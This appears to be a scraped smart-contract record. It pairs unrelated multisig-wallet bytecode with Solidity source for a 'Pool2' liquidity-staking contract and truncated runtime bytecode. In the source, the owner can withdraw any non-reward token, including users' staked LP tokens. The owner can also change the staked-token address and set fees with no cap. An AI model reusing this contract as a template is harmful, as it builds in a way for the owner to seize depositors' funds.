0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021b57806320ea8d861461025e5780632f54bf6e1461028b5780633411c81c146102e65780634bc9fdc21461034b578063547415251461037657806367eeba0c146103c55780636b0c932d146103f05780637065cb481461041b578063784547a71461045e5780638b51d13f146104a35780639ace38c2146104e4578063a0e67e2b146105cf578063a8abe69a1461063b578063b5dc40c3146106df578063b77bf60014610761578063ba51a6df1461078c578063c01a8c84146107b9578063c6427474146107e6578063cea086211461088d578063d74f8edd146108ba578063dc8452cd146108e5578063e20056e614610910578063ee22610b14610973578063f059cf2b146109a0575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b3480156101ba57600080fd5b506101d9600480360381019080803590602001909291905050506109cb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561022757600080fd5b5061025c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a09565b005b34801561026a57600080fd5b5061028960048036038101908080359060200190929190505050610ca2565b005b34801561029757600080fd5b506102cc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e4a565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b5061033160048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b604051808215151515815260200191505060405180910390f35b34801561035757600080fd5b50610360610e99565b6040518082815260200191505060405180910390f35b34801561038257600080fd5b506103af600480360381019080803515159060200190929190803515159060200190929190505050610ed6565b6040518082815260200191505060405180910390f35b3480156103d157600080fd5b506103da610f68565b6040518082815260200191505060405180910390f35b3480156103fc57600080fd5b50610405610f6e565b6040518082815260200191505060405180910390f35b34801561042757600080fd5b5061045c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f74565b005b34801561046a57600080fd5b5061048960048036038101908080359060200190929190505050611179565b604051808215151515815260200191505060405180910390f35b3480156104af57600080fd5b506104ce6004803603810190808035906020019092919050505061125e565b6040518082815260200191505060405180910390f35b3480156104f057600080fd5b5061050f60048036038101908080359060200190929190505050611329565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b83811015610591578082015181840152602081019050610576565b50505050905090810190601f1680156105be5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b3480156105db57600080fd5b506105e461141e565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561062757808201518184015260208101905061060c565b505050509050019250505060405180910390f35b34801561064757600080fd5b5061068860048036038101908080359060200190929190803590602001909291908035151590602001909291908035151590602001909291905050506114ac565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106cb5780820151818401526020810190506106b0565b505050509050019250505060405180910390f35b3480156106eb57600080fd5b5061070a6004803603810190808035906020019092919050505061161d565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561074d578082015181840152602081019050610732565b505050509050019250505060405180910390f35b34801561076d57600080fd5b5061077661185a565b6040518082815260200191505060405180910390f35b34801561079857600080fd5b506107b760048036038101908080359060200190929190505050611860565b005b3480156107c557600080fd5b506107e46004803603810190808035906020019092919050505061191a565b005b3480156107f257600080fd5b50610877600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611af7565b6040518082815260200191505060405180910390f35b34801561089957600080fd5b506108b860048036038101908080359060200190929190505050611b16565b005b3480156108c657600080fd5b506108cf611b91565b6040518082815260200191505060405180910390f35b3480156108f157600080fd5b506108fa611b96565b6040518082815260200191505060405180910390f35b34801561091c57600080fd5b50610971600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b9c565b005b34801561097f57600080fd5b5061099e60048036038101908080359060200190929190505050611eb1565b005b3480156109ac57600080fd5b506109b56121a5565b6040518082815260200191505060405180910390f35b6003818154811015156109da57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a4557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610a9e57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610c23578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b3157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610c16576003600160038054905003815481101515610b8f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610bc957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c23565b8180600101925050610afb565b6001600381818054905003915081610c3b919061234f565b506003805490506004541115610c5a57610c59600380549050611860565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cfb57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610d6657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610d9657600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610eb4576006549050610ed3565b6008546006541015610ec95760009050610ed3565b6008546006540390505b90565b600080600090505b600554811015610f6157838015610f15575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610f485750828015610f47575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610f54576001820191505b8080600101915050610ede565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fae57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561100857600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff161415151561102f57600080fd5b6001600380549050016004546032821115801561104c5750818111155b8015611059575060008114155b8015611066575060008214155b151561107157600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b600380549050811015611256576001600085815260200190815260200160002060006003838154811015156111b757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611236576001820191505b6004548214156112495760019250611257565b8080600101915050611186565b5b5050919050565b600080600090505b6003805490508110156113235760016000848152602001908152602001600020600060038381548110151561129757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611316576001820191505b8080600101915050611266565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114015780601f106113d657610100808354040283529160200191611401565b820191906000526020600020905b8154815290600101906020018083116113e457829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b606060038054806020026020016040519081016040528092919081815260200182805480156114a257602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611458575b5050505050905090565b6060806000806005546040519080825280602002602001820160405280156114e35781602001602082028038833980820191505090505b50925060009150600090505b60055481101561158f57858015611526575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806115595750848015611558575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156115825780838381518110151561156d57fe5b90602001906020020181815250506001820191505b80806001019150506114ef565b8787036040519080825280602002602001820160405280156115c05781602001602082028038833980820191505090505b5093508790505b868110156116125782818151811015156115dd57fe5b90602001906020020151848983038151811015156115f757fe5b906020019060200201818152505080806001019150506115c7565b505050949350505050565b6060806000806003805490506040519080825280602002602001820160405280156116575781602001602082028038833980820191505090505b50925060009150600090505b6003805490508110156117a45760016000868152602001908152602001600020600060038381548110151561169457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117975760038181548110151561171b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838381518110151561175457fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611663565b816040519080825280602002602001820160405280156117d35781602001602082028038833980820191505090505b509350600090505b818110156118525782818151811015156117f157fe5b90602001906020020151848281518110151561180957fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080806001019150506117db565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561189a57600080fd5b60038054905081603282111580156118b25750818111155b80156118bf575060008114155b80156118cc575060008214155b15156118d757600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561197357600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156119cf57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611a3b57600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a3611af085611eb1565b5050505050565b6000611b048484846121ab565b9050611b0f8161191a565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b5057600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bd857600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c3157600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611c8b57600080fd5b600092505b600380549050831015611d74578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611cc357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611d675783600384815481101515611d1a57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611d74565b8280600101935050611c90565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611f0d57600080fd5b83336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611f7857600080fd5b8560008082815260200190815260200160002060030160009054906101000a900460ff16151515611fa857600080fd5b6000808881526020019081526020016000209550611fc587611179565b945084806120005750600086600201805460018160011615610100020316600290049050148015611fff5750611ffe86600101546122fd565b5b5b1561219c5760018660030160006101000a81548160ff02191690831515021790555084151561203e5785600101546008600082825401925050819055505b8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1686600101548760020160405180828054600181600116156101000203166002900480156120e75780601f106120bc576101008083540402835291602001916120e7565b820191906000526020600020905b8154815290600101906020018083116120ca57829003601f168201915b505091505060006040518083038185875af1925050501561213457867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a261219b565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008660030160006101000a81548160ff02191690831515021790555084151561219a5785600101546008600082825403925050819055505b5b5b50505050505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff16141515156121d457600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061229392919061237b565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000620151806007540142111561231e574260078190555060006008819055505b6006548260085401118061233757506008548260085401105b15612345576000905061234a565b600190505b919050565b8154818355818111156123765781836000526020600020918201910161237591906123fb565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106123bc57805160ff19168380011785556123ea565b828001600101855582156123ea579182015b828111156123e95782518255916020019190600101906123ce565b5b5090506123f791906123fb565b5090565b61241d91905b80821115612419576000816000905550600101612401565b5090565b905600a165627a7a7230582066a669bc70aa53c5c85758fc67a69b3cdd3646406c45aec1613bfa3ae9904dcb0029
|
{"success": true, "error": null, "results": {}}
| 3,379 |
0x5433ebbf7a7f06b9f617bb5b900810c47a600cf5
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract Pool2 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
address public tokenAddress;
address public liquiditytoken1;
// reward rate % per year
uint public rewardRate = 92000;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 0;
// unstaking fee percent
uint public unstakingFeeRate = 0;
// unstaking possible Time
uint public PossibleUnstakeTime = 24 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
/*=============================ADMINISTRATIVE FUNCTIONS ==================================*/
function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported");
tokenAddress = _tokenAddr;
liquiditytoken1 = _liquidityAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0) && liquiditytoken1 != address(0), "Interracting token addresses are not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function farm(uint amountToStake) public {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(liquiditytoken1).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function unfarm(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(liquiditytoken1).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function harvest() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
}
|
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80636654ffdf11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b14610445578063f3073ee71461046b578063f3f91fa01461048a578063f851a440146104b0576101cf565b8063c326bf4f14610407578063d578ceab1461042d578063d816c7d514610435578063f1587ea11461043d576101cf565b80639d76ea58116100de5780639d76ea58146103ac578063a89c8c5e146103b4578063bec4de3f146103e2578063c0a6d78b146103ea576101cf565b80636654ffdf146103665780636a395ccb1461036e5780637b0a47ee146103a4576101cf565b8063455ab53c11610171578063538a85a11161014b578063538a85a1146102f5578063583d42fd146103125780635ef057be146103385780636270cd1814610340576101cf565b8063455ab53c146102c85780634641257d146102d05780634908e386146102d8576101cf565b80632ec14e85116101ad5780632ec14e851461025c578063308feec31461028057806337c5785a1461028857806338443177146102ab576101cf565b8063069ca4d0146101d45780631c885bae146102055780631e94723f14610224575b600080fd5b6101f1600480360360208110156101ea57600080fd5b50356104b8565b604080519115158252519081900360200190f35b6102226004803603602081101561021b57600080fd5b50356104d9565b005b61024a6004803603602081101561023a57600080fd5b50356001600160a01b03166107e4565b60408051918252519081900360200190f35b610264610897565b604080516001600160a01b039092168252519081900360200190f35b61024a6108a6565b6101f16004803603604081101561029e57600080fd5b50803590602001356108b8565b6101f1600480360360208110156102c157600080fd5b50356108dc565b6101f16108fd565b610222610906565b6101f1600480360360208110156102ee57600080fd5b5035610911565b6102226004803603602081101561030b57600080fd5b5035610932565b61024a6004803603602081101561032857600080fd5b50356001600160a01b0316610c27565b61024a610c39565b61024a6004803603602081101561035657600080fd5b50356001600160a01b0316610c3f565b61024a610c51565b6102226004803603606081101561038457600080fd5b506001600160a01b03813581169160208101359091169060400135610c57565b61024a610d31565b610264610d37565b6101f1600480360360408110156103ca57600080fd5b506001600160a01b0381358116916020013516610d46565b61024a610dec565b6101f16004803603602081101561040057600080fd5b5035610df2565b61024a6004803603602081101561041d57600080fd5b50356001600160a01b0316610e13565b61024a610e25565b61024a610e2b565b61024a610e31565b6102226004803603602081101561045b57600080fd5b50356001600160a01b0316610e65565b6101f16004803603602081101561048157600080fd5b50351515610eea565b61024a600480360360208110156104a057600080fd5b50356001600160a01b0316610f76565b610264610f88565b600080546001600160a01b031633146104d057600080fd5b60049190915590565b336000908152600d602052604090205481111561053d576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600754336000908152600e602052604090205461055b904290610f97565b116105975760405162461bcd60e51b815260040180806020018281038252603b815260200180611304603b913960400191505060405180910390fd5b6105a033610fae565b60006105c36127106105bd6006548561114290919063ffffffff16565b90611169565b905060006105d18383610f97565b600254600080546040805163a9059cbb60e01b81526001600160a01b